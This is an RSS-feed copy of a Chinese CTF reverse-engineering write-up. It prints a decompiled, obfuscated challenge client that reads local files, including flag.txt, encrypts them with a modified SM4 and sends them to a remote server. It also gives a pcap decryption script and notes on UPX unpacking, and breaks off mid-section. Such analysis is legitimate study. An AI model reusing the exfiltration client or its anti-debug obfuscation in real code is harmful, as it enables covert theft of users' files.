<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Shiori&apos;s Coffee Nook</title><description>Hello! I’m Shiori. Thanks for stopping by my modest corner of the web!</description><link>https://sh10rl.top/</link><language>en</language><item><title>软件系统安全赛</title><link>https://sh10rl.top/posts/dart/</link><guid isPermaLink="true">https://sh10rl.top/posts/dart/</guid><description>三道逆向 writeup</description><pubDate>Sun, 15 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;1re3&quot;&gt;1.re3&lt;/h2&gt;
&lt;p&gt;pyinstxtractor解包得到client.pyc：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2859&quot; height=&quot;542&quot; src=&quot;https://sh10rl.top/_astro/image-01.BmTzO9OP_Z2uXKfc.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;看流量发现readme.txt, config.txt, flag.txt 和密文：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1454&quot; height=&quot;528&quot; src=&quot;https://sh10rl.top/_astro/image-02.BNbMlju4_XAggu.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;Pylingual 反编译client.pyc:&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: &apos;client.py&apos;
# Bytecode version: 3.10.b1 (3439)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import base64
import sys
import os
import json
import socket
import hashlib
import crypt_core
import builtins
def _oe(_d, _k1, _k2, _rn):
    # ***&amp;#x3C;module&gt;._oe: Failure: Compilation Error
    try:
        _b = base64.b85decode(_d.encode())
        _r = []
        for _i, _x in enumerate(_b):
            return ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn), _i, 3) or ((_k1, _k2, _rn),
            _r.append(_x, _k if _k else None)
        _s = bytes(_r).decode()
        _res = []
        for _c in _s:
            if _c.isalpha():
                _base = ord(&apos;A&apos;) if _c.isupper() else ord(&apos;a&apos;)
                _res.append((chr, ord(_c), _base, _rn, 26, _base))
            else:
                if _c.isdigit():
                    _res.append(str(int(_c), _rn or 10))
                else:
                    _res.append(_c)
        return &apos;&apos;.join(_res)
    except:
        return _d
_globs = dict(__name__=&apos;__main__&apos;, __file__=__file__, __package__=None, _oe=_oe)
for _k in dir(builtins):
    if not _k.startswith(&apos;_&apos;):
        _globs[_k] = getattr(builtins, _k)
_globs[&apos;base64&apos;] = base64
_globs[&apos;sys&apos;] = sys
_globs[&apos;os&apos;] = os
_globs[&apos;json&apos;] = json
_globs[&apos;socket&apos;] = socket
_globs[&apos;hashlib&apos;] = hashlib
_globs[&apos;crypt_core&apos;] = crypt_core
def _obf_check():
    if hasattr(sys, &apos;gettrace&apos;):
        _tr = sys.gettrace()
        if _tr is not None:
            return False
    return True
def _obf_exec(_code):
    # ***&amp;#x3C;module&gt;._obf_exec: Failure: Different bytecode
    if not _obf_check():
        return None
    else:
        exec(compile, _code, chr(60) | chr(111) | chr(98) | chr(102) | chr(101) | chr(120) | chr(99))
_1667 = &apos;[b85 encoded string (omitted)]&apos;
_obf_exec(base64.b85decode(_1667).decode())&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;client.py里面exec的payload使用base85解码：
1&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;_j0 = lambda: (30 ^ 126) + (520 % 26)
_j1 = lambda: (158 ^ 184) + (820 % 54)
_j2 = lambda: (37 ^ 2) + (687 % 25)
_j3 = lambda: (72 ^ 112) + (474 % 30)
_j4 = lambda: (173 ^ 82) + (257 % 73)
_j5 = lambda: (117 ^ 203) + (331 % 54)
_j6 = lambda: (242 ^ 46) + (846 % 33)
_j7 = lambda: (21 ^ 148) + (425 % 77)
_j8 = lambda: (139 ^ 134) + (427 % 21)
_j9 = lambda: (245 ^ 62) + (413 % 85)
_j10 = lambda: (242 ^ 65) + (892 % 30)
_j11 = lambda: (22 ^ 58) + (740 % 59)
_j12 = lambda: (139 ^ 248) + (771 % 74)
_j13 = lambda: (219 ^ 230) + (262 % 63)
_j14 = lambda: (17 ^ 89) + (622 % 38)
_j15 = lambda: (229 ^ 205) + (369 % 25)
_j16 = lambda: (111 ^ 33) + (433 % 50)
_j17 = lambda: (41 ^ 142) + (512 % 21)

class _Obf3776:
    def __init__(self):
        self._v = 751
    def _m(self):
        return self._v * 5

#!/usr/bin/env python3

import socket
import json
import os
import sys
import hashlib
import time

sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
import crypt_core


class CustomBase64:
    CUSTOM_ALPHABET = _oe(&quot;8&amp;#x3C;&amp;#x3C;BLok1UrR}_R&gt;27yTmms1djUI&amp;#x26;{(7Ls{Apm;c@eJQYZA-rTHu4po}aw559KBaUw?kHpDBVghrW#KRr&quot;, 83, 214, 17)
    STANDARD_ALPHABET = (
        _oe(&quot;0fj{dfJO_COA?e)7n4^Mo&gt;&amp;#x26;&gt;3T^^WT1BYWEqGTnZX)3I6F|~Czuy#AYdpNp$J-J~b;VEk7AYtVtX5cz}&quot;, 83, 214, 17)
    )
    ENCODE_TABLE = str.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
    DECODE_TABLE = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)

    @classmethod
    def decode(cls, data: str) -&gt; bytes:
        import base64

        std_b64 = data.translate(cls.DECODE_TABLE)
        return base64.b64decode(std_b64)


SERVER_HOST = &quot;&quot;
SERVER_PORT = 9999
KEY_B64 = _oe(&quot;C7MAupdc5tRBM!52kv4Wmp~Hle`A4N5`t?5nObY+L~6Pz5wdF*y=E$zQv!xZ&quot;, 83, 214, 17)
KEY = CustomBase64.decode(KEY_B64)
FILES_TO_SEND = [_oe(&quot;I-p}FvS)q0emD&quot;, 83, 214, 17), _oe(&quot;B(-BJ_&amp;#x3C;B6O&quot;, 83, 214, 17), _oe(&quot;C$MxRtZ99{emD&quot;, 83, 214, 17)]


def _opaque_true():
    _x = 0
    for _i in range(100):
        _x += _i * (_i - _i + 1)
    return _x &gt;= 0


def _opaque_false():
    _a, _b = 5, 7
    return (_a * _b) == (_b * _a + 1)


def _dead_calc():
    _dead = 0
    for _i in range(50):
        _dead = (_dead + _i) % 17
        if _dead &gt; 100:
            _dead = _dead * 2 + 1
    return _dead


def encrypt_file(key: bytes, plaintext: bytes) -&gt; bytes:
    _state = 0
    _result = None
    while _state &amp;#x3C; 3:
        if _state == 0:
            if _opaque_true():
                _result = crypt_core.encode_data(plaintext, key[:16])
                _state = 2
            else:
                _dead_calc()
                _state = 1
        elif _state == 1:
            _dead_calc()
            _state = 2
        elif _state == 2:
            if _opaque_false():
                _result = None
            _state = 3
    return _result


def send_single_file(sock, filename, plaintext):
    _s = 0
    _ct = None
    _pl = None
    while _s &amp;#x3C; 5:
        if _s == 0:
            _ct = encrypt_file(KEY, plaintext)
            _s = 1
        elif _s == 1:
            _pl = {_oe(&quot;B&amp;#x26;&gt;2Jvtu`)&quot;, 83, 214, 17): filename, _oe(&quot;C#-fVpm;c-emD&quot;, 83, 214, 17): _ct.hex()}
            _s = 2
        elif _s == 2:
            if _opaque_true():
                sock.sendall(json.dumps(_pl).encode(_oe(&quot;KfPvt;{&quot;, 83, 214, 17)) + b&quot;\n&quot;)
                _s = 4
            else:
                _dead_calc()
                _s = 3
        elif _s == 3:
            _dead_calc()
            _s = 4
        elif _s == 4:
            if not _opaque_false():
                time.sleep(0.1)
            _s = 5


def _verify_cmd(cmd):
    _state = 10
    _hash_val = None
    _valid = False

    while _state &amp;#x3C; 50:
        if _state == 10:
            if len(cmd) &gt; 0:
                _state = 20
            else:
                _state = 49
        elif _state == 20:
            _hash_val = hashlib.md5(cmd.encode()).hexdigest()
            _state = 30
        elif _state == 30:
            if _opaque_true():
                _valid = _hash_val == _oe(&quot;VWK4=qGuqYBxK?sVWlBw&amp;#x3C;RW0^B4q9&amp;#x26;VB;re&amp;#x3C;0L2U&quot;, 83, 214, 17)
                _state = 40
            else:
                _dead_calc()
                _state = 49
        elif _state == 40:
            if _valid:
                _state = 50
            else:
                _state = 49
        elif _state == 49:
            return False

    return _valid


def _get_server_host(args):
    _s = 100
    _host = None

    while _s &amp;#x3C; 200:
        if _s == 100:
            if len(args) &gt; 2:
                _s = 110
            else:
                _s = 120
        elif _s == 110:
            _host = args[2]
            _s = 200
        elif _s == 120:
            if _opaque_true():
                _host = &quot;&quot;
            _s = 200
        elif _s == 200:
            if _opaque_false():
                _host = _oe(&quot;Ywsm};Xh&gt;fDF&quot;, 83, 214, 17)
            _s = 201

    return _host


def main():
    _state = 0
    _sock = None
    _idx = 0
    _printed_header = False

    while _state &amp;#x3C; 100:
        if _state == 0:
            if _opaque_false():
                print(_oe(&quot;2B2dm_GLArX8&quot;, 83, 214, 17))
            _state = 1
        elif _state == 1:
            if len(sys.argv) &amp;#x3C; 2:
                _state = 5
            else:
                _state = 2
        elif _state == 2:
            if _verify_cmd(sys.argv[1]):
                _state = 3
            else:
                _state = 4
        elif _state == 3:
            if not _printed_header:
                print(&quot;=&quot; * 50)
                print(_oe(&quot;8K7l9zh`rSYcQZO7{6mSyk;f8F$cA4C9`^SyD5F)&quot;, 83, 214, 17))
                print(&quot;=&quot; * 50)
                _printed_header = True
            _state = 10
        elif _state == 4:
            print(&quot;错误：无效的命令&quot;)
            _state = 99
        elif _state == 5:
            print(&quot;用法：python client.py &amp;#x3C;command&gt; [SERVER_HOST]&quot;)
            _state = 99
        elif _state == 10:
            try:
                _sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                _state = 11
            except Exception:
                _state = 99
        elif _state == 11:
            _host = _get_server_host(sys.argv)
            _state = 12
        elif _state == 12:
            try:
                _sock.connect((_host, SERVER_PORT))
                _state = 20
            except Exception as e:
                print(f&quot;[!] 连接失败：{e}&quot;)
                _state = 99
        elif _state == 20:
            if _idx &amp;#x3C; len(FILES_TO_SEND):
                _state = 21
            else:
                _state = 30
        elif _state == 21:
            _fname = FILES_TO_SEND[_idx]
            _state = 22
        elif _state == 22:
            if os.path.exists(_fname):
                _state = 23
            else:
                _state = 28
        elif _state == 23:
            with open(_fname, &quot;rb&quot;) as _f:
                _data = _f.read()
            _state = 24
        elif _state == 24:
            if _opaque_true():
                print(f&quot;[*] 发送文件&quot;)
            _state = 25
        elif _state == 25:
            if not _opaque_false():
                send_single_file(_sock, _fname, _data)
            _state = 26
        elif _state == 26:
            _idx += 1
            _state = 20
        elif _state == 28:
            print(f&quot;[-] 文件不存在&quot;)
            _state = 29
        elif _state == 29:
            _idx += 1
            _state = 20
        elif _state == 30:
            if _opaque_true():
                time.sleep(0.2)
            _state = 31
        elif _state == 31:
            if _sock:
                _sock.close()
            _state = 99
        elif _state == 99:
            break


if __name__ == _oe(&quot;42g9itaJ&gt;C&quot;, 83, 214, 17):
    _dead_calc()
    if _opaque_true():
        main()
    else:
        _dead_calc()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;注意到：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1389&quot; height=&quot;301&quot; src=&quot;https://sh10rl.top/_astro/image-03.C5St5cAq_ZXsoBJ.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;开始逆向crypt_core.so：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1633&quot; height=&quot;604&quot; src=&quot;https://sh10rl.top/_astro/image-04.Dl7fimny_1memz5.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;交叉应用字符串encode_data：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2128&quot; height=&quot;726&quot; src=&quot;https://sh10rl.top/_astro/image-05.Be8qpnX8_Z1y9EDn.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;sub_9820 使用了多次这个字符串，点进去看是个 Python 包装层（有一堆 参数校验 + 异常API调用），参数校验后点进sub_60B0，是个魔改SM4：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1751&quot; height=&quot;246&quot; src=&quot;https://sh10rl.top/_astro/image-06.DbYil-tc_A5dGl.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;加密逻辑是魔改SM4-PKCS#7，一般赛题只改一些常量 + 轮数，核心算法不会改；发现改了S-box，FK（4个DWORD），CK（32个DWORD，用了前24个），轮数24轮，key取前16bytes。&lt;/p&gt;
&lt;p&gt;对照标准SM4常量：&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;# 系统参数
FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC]

# 固定参数CK
CK = [
    0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269,
    0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
    0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249,
    0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
    0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229,
    0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
    0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209,
    0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]
SBox = [
    0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
    0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
    0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
    0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
    0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
    0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
    0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87,
    0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E,
    0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1,
    0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
    0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F,
    0xD5, 0xDB, 0x37, 0x45, 0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 0x5B, 0x51,
    0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8,
    0x0A, 0xC1, 0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 0xB8, 0xE5, 0xB4, 0xB0,
    0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84,
    0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48
]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;PKCS#7：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;579&quot; height=&quot;108&quot; src=&quot;https://sh10rl.top/_astro/image-07.DLn3VssA_JdeBT.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;改了SBOX：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1850&quot; height=&quot;382&quot; src=&quot;https://sh10rl.top/_astro/image-08.DJo3c_2B_Z2oOv1X.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;改了FK：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1664&quot; height=&quot;88&quot; src=&quot;https://sh10rl.top/_astro/image-09.CjGL6vWW_jvSPB.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;改了CK：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1854&quot; height=&quot;446&quot; src=&quot;https://sh10rl.top/_astro/image-10.C-5HQrp6_1gimXQ.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;改成了24轮：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2141&quot; height=&quot;317&quot; src=&quot;https://sh10rl.top/_astro/image-11.CSFm5NoC_ZBLnmI.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;写脚本解密：&lt;/p&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;from __future__ import annotations

import argparse
import base64
import json
import socket
import struct
from pathlib import Path

CUSTOM_ALPHABET = &quot;QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm1234567890!@&quot;
STANDARD_ALPHABET = &quot;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/&quot;
KEY_B64 = &quot;eUYme4MkN1KSC1bWJZJ2w3FUJCiEXT13D2u1KmiNtfhXKZYE&quot;

SBOX = [
    0xEC, 0xCA, 0x0E, 0xF3, 0x08, 0xF0, 0x2A, 0xA2, 0x3B, 0x18, 0x2B, 0x5C, 0x37, 0xBD, 0x12, 0xA8,
    0x05, 0xD3, 0xA1, 0x57, 0x4F, 0x96, 0xFC, 0xF5, 0xA7, 0x14, 0x19, 0x66, 0x58, 0x9B, 0xBF, 0xB4,
    0x39, 0xD5, 0x1E, 0x1A, 0x30, 0xBC, 0x6C, 0x80, 0xB7, 0xED, 0x41, 0x06, 0xD9, 0x17, 0x67, 0xCD,
    0x1D, 0x2C, 0xAE, 0x24, 0x03, 0x13, 0xC6, 0x53, 0x83, 0x11, 0x0A, 0xF7, 0xC0, 0x4D, 0xC4, 0x9E,
    0x8D, 0x00, 0x1F, 0xC3, 0x3F, 0x35, 0x9F, 0xCB, 0x72, 0x9D, 0x16, 0x6F, 0xAC, 0xCE, 0x3C, 0x5E,
    0xA6, 0xE1, 0x7B, 0x34, 0x36, 0x32, 0xB8, 0x95, 0x91, 0x89, 0x52, 0xC1, 0xE7, 0xA3, 0x33, 0x48,
    0x04, 0xCF, 0x10, 0xEB, 0x25, 0xBB, 0x8E, 0x0F, 0x81, 0x6E, 0xB3, 0x43, 0x45, 0x8F, 0x49, 0xF8,
    0x4B, 0x59, 0x07, 0x4A, 0xDE, 0xFD, 0xC8, 0xD0, 0x84, 0x8B, 0xFB, 0xDA, 0xDB, 0x28, 0xD4, 0x3E,
    0xA4, 0x2F, 0x56, 0xBE, 0xEF, 0x86, 0xC7, 0x62, 0xEA, 0x76, 0xE9, 0xD6, 0x74, 0xA5, 0x6B, 0xF9,
    0x98, 0x7D, 0x3A, 0x26, 0x5A, 0xAF, 0x87, 0x0D, 0x1B, 0x2E, 0xB2, 0xE3, 0x6A, 0xCC, 0xF1, 0xFF,
    0xD7, 0xF6, 0x1C, 0xC9, 0xE8, 0x70, 0x20, 0x4E, 0x23, 0x3D, 0xC2, 0xAA, 0xDC, 0x0B, 0xF2, 0x5F,
    0x7A, 0xFA, 0x88, 0x97, 0x47, 0xD1, 0x0C, 0x02, 0x31, 0x7F, 0xF4, 0x75, 0x15, 0x93, 0x38, 0x8A,
    0x42, 0x90, 0x71, 0xDD, 0x73, 0x55, 0x7E, 0xB5, 0x5B, 0x29, 0x4C, 0x9A, 0xE0, 0x8C, 0xB0, 0xE5,
    0x64, 0x27, 0x01, 0xDF, 0xAD, 0x21, 0x79, 0x94, 0x92, 0x51, 0x69, 0x7C, 0x22, 0x63, 0x50, 0x85,
    0x2D, 0xE2, 0x40, 0x46, 0x44, 0xA9, 0x82, 0xB6, 0x61, 0xD8, 0xD2, 0xB9, 0x68, 0xAB, 0xB1, 0x5D,
    0x65, 0x54, 0x77, 0xA0, 0xC5, 0xBA, 0x60, 0x9C, 0xE4, 0xFE, 0xEE, 0x99, 0xE6, 0x78, 0x6D, 0x09,
]

FK = [0x3B1F86A4, 0x83F7332D, 0x58ADBA8E, 0x71DC3F73]
CK = [
    0x9A148706, 0x657904A4, 0xB0535D2D, 0x865C7AA7, 0xF7FEF2D4, 0xF09D3A8B,
    0x67CB0390, 0xF3B1D1AA, 0x1941EDE3, 0xCDD55650, 0x272AA612, 0x397B1DC6,
    0x767AAB6B, 0x71A39044, 0x8A77F592, 0x7B5A7907, 0x97D18251, 0xCA1960CB,
    0x44B54134, 0x3F30C70A, 0x5EB36C72, 0x5569E716, 0x51BF832C, 0xF13A95BC,
]

def decode_custom_b64(data: str) -&gt; bytes:
    table = str.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
    return base64.b64decode(data.translate(table))

def rol32(x: int, n: int) -&gt; int:
    x &amp;#x26;= 0xFFFFFFFF
    return ((x &amp;#x3C;&amp;#x3C; n) | (x &gt;&gt; (32 - n))) &amp;#x26; 0xFFFFFFFF

def tau(x: int) -&gt; int:
    return (
        (SBOX[(x &gt;&gt; 24) &amp;#x26; 0xFF] &amp;#x3C;&amp;#x3C; 24)
        | (SBOX[(x &gt;&gt; 16) &amp;#x26; 0xFF] &amp;#x3C;&amp;#x3C; 16)
        | (SBOX[(x &gt;&gt; 8) &amp;#x26; 0xFF] &amp;#x3C;&amp;#x3C; 8)
        | SBOX[x &amp;#x26; 0xFF]
    )

def t_encrypt(x: int) -&gt; int:
    y = tau(x)
    return y ^ rol32(y, 2) ^ rol32(y, 10) ^ rol32(y, 18) ^ rol32(y, 24)

def t_key(x: int) -&gt; int:
    y = tau(x)
    return y ^ rol32(y, 13) ^ rol32(y, 23)

def expand_round_keys(key: bytes) -&gt; list[int]:
    mk = [int.from_bytes(key[i : i + 4], &quot;big&quot;) for i in range(0, 16, 4)]
    state = [mk[i] ^ FK[i] for i in range(4)]
    round_keys = []
    for i in range(24):
        nxt = state[i] ^ t_key(state[i + 1] ^ state[i + 2] ^ state[i + 3] ^ CK[i])
        state.append(nxt)
        round_keys.append(nxt)
    return round_keys

def crypt_block(block: bytes, round_keys: list[int]) -&gt; bytes:
    words = [int.from_bytes(block[i : i + 4], &quot;big&quot;) for i in range(0, 16, 4)]
    for i in range(24):
        words.append(words[i] ^ t_encrypt(words[i + 1] ^ words[i + 2] ^ words[i + 3] ^ round_keys[i]))
    return b&quot;&quot;.join(word.to_bytes(4, &quot;big&quot;) for word in words[-1:-5:-1])

def decrypt_ecb(ciphertext: bytes, key: bytes) -&gt; bytes:
    round_keys = expand_round_keys(key)[::-1]
    out = bytearray()
    for i in range(0, len(ciphertext), 16):
        out.extend(crypt_block(ciphertext[i : i + 16], round_keys))
    pad = out[-1]
    if not (1 &amp;#x3C;= pad &amp;#x3C;= 16 and out[-pad:] == bytes([pad]) * pad):
        raise ValueError(&quot;invalid PKCS#7 padding&quot;)
    return bytes(out[:-pad])

def iter_pcapng_tcp_payloads(path: Path) -&gt; list[bytes]:
    data = path.read_bytes()
    if data[:4] != b&quot;\x0a\x0d\x0d\x0a&quot;:
        raise ValueError(&quot;expected pcapng file&quot;)

    payloads = []
    offset = 0
    endian = &quot;&amp;#x3C;&quot;

    while offset + 12 &amp;#x3C;= len(data):
        block_type = struct.unpack_from(&quot;&amp;#x3C;I&quot;, data, offset)[0]
        if block_type == 0x0A0D0D0A:
            bom = struct.unpack_from(&quot;&amp;#x3C;I&quot;, data, offset + 8)[0]
            endian = &quot;&amp;#x3C;&quot; if bom == 0x1A2B3C4D else &quot;&gt;&quot;
        block_len = struct.unpack_from(endian + &quot;I&quot;, data, offset + 4)[0]
        if block_type == 0x00000006:
            cap_len = struct.unpack_from(endian + &quot;I&quot;, data, offset + 20)[0]
            packet = data[offset + 28 : offset + 28 + cap_len]
            payload = extract_tcp_payload(packet)
            if payload:
                payloads.append(payload)
        if block_len &amp;#x3C; 12:
            break
        offset += block_len

    return payloads

def extract_tcp_payload(packet: bytes) -&gt; bytes:
    if len(packet) &amp;#x3C; 14:
        return b&quot;&quot;
    eth_type = struct.unpack_from(&quot;!H&quot;, packet, 12)[0]
    if eth_type != 0x0800:
        return b&quot;&quot;

    ip = packet[14:]
    if len(ip) &amp;#x3C; 20 or ip[9] != 6:
        return b&quot;&quot;
    ihl = (ip[0] &amp;#x26; 0x0F) * 4
    tcp = ip[ihl:]
    if len(tcp) &amp;#x3C; 20:
        return b&quot;&quot;

    sport, dport = struct.unpack_from(&quot;!HH&quot;, tcp, 0)
    if 9999 not in (sport, dport):
        return b&quot;&quot;
    data_offset = ((tcp[12] &gt;&gt; 4) &amp;#x26; 0x0F) * 4
    return tcp[data_offset:]

def load_records_from_pcap(path: Path) -&gt; list[dict[str, str]]:
    records = []
    for payload in iter_pcapng_tcp_payloads(path):
        for line in payload.splitlines():
            line = line.strip()
            if not line.startswith(b&quot;{&quot;):
                continue
            obj = json.loads(line.decode(&quot;utf-8&quot;))
            if &quot;filename&quot; in obj and &quot;ciphertext&quot; in obj:
                records.append(obj)
    return records

def default_pcap_path() -&gt; Path:
    return Path(__file__).resolve().parent.parent / &quot;capture.pcap&quot;

def main() -&gt; None:
    parser = argparse.ArgumentParser(description=&quot;Decrypt captured files produced by crypt_core.so&quot;)
    parser.add_argument(&quot;--pcap&quot;, type=Path, default=default_pcap_path(), help=&quot;pcapng file to parse&quot;)
    parser.add_argument(&quot;--name&quot;, help=&quot;only print one decrypted filename&quot;)
    args = parser.parse_args()

    key = decode_custom_b64(KEY_B64)[:16]
    records = load_records_from_pcap(args.pcap)

    for record in records:
        name = record[&quot;filename&quot;]
        if args.name and name != args.name:
            continue
        plaintext = decrypt_ecb(bytes.fromhex(record[&quot;ciphertext&quot;]), key)
        print(f&quot;=== {name} ===&quot;)
        try:
            print(plaintext.decode(&quot;utf-8&quot;))
        except UnicodeDecodeError:
            print(plaintext.hex())

if __name__ == &quot;__main__&quot;:
    main()&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1000&quot; height=&quot;600&quot; src=&quot;https://sh10rl.top/_astro/image-12.C7-Ytly-_vz09T.webp&quot;&gt;&lt;/figure&gt;
&lt;h2 id=&quot;5re2&quot;&gt;5.re2&lt;/h2&gt;
&lt;p&gt;三层套娃：UPX + b64 + rc4，最后AES解密&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1833&quot; height=&quot;325&quot; src=&quot;https://sh10rl.top/_astro/image-13.IxQZuyr7_Z1mu4ls.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;魔改UPX，改section脱不了，x64dbg + scylla动调脱壳：&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;img&quot; width=&quot;2289&quot; height=&quot;980&quot; src=&quot;https://sh10rl.top/_astro/image-14.BoRP8ihG_1AzPsc.webp&quot;&gt;&lt;img alt=&quot;img&quot; width=&quot;1253&quot; height=&quot;1321&quot; src=&quot;https://sh10rl.top/_astro/image-15.113TQvVZ_Z6tRYP.webp&quot;&gt;&lt;/p&gt;
&lt;p&gt;main里面有个比较：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;1347&quot; height=&quot;277&quot; src=&quot;https://sh10rl.top/_astro/image-16.DsqlCJAb_1LLohk.webp&quot;&gt;&lt;/figure&gt;
&lt;p&gt;还有b64解码：&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;img&quot; width=&quot;2124&quot; height=&quot;447&quot; src=&quot;https://sh10rl.top/_astro/image-17.eApE4UaQ_1bh1OX.webp&quot;&gt;&lt;/figure&gt;
&lt;ul&gt;
&lt;li&gt;法一：厨子解码一下得到一个exe&lt;/li&gt;
&lt;li&gt;法二：直接去 C:\Users\xxx\AppData\Local\Temp 拿到解码出来的exe，看到对两 section 自解密，开始动调到校验函数，明显 aes-PKCS#7，看前面有XOR就是CBC模式：&lt;/li&gt;
&lt;/ul&gt;
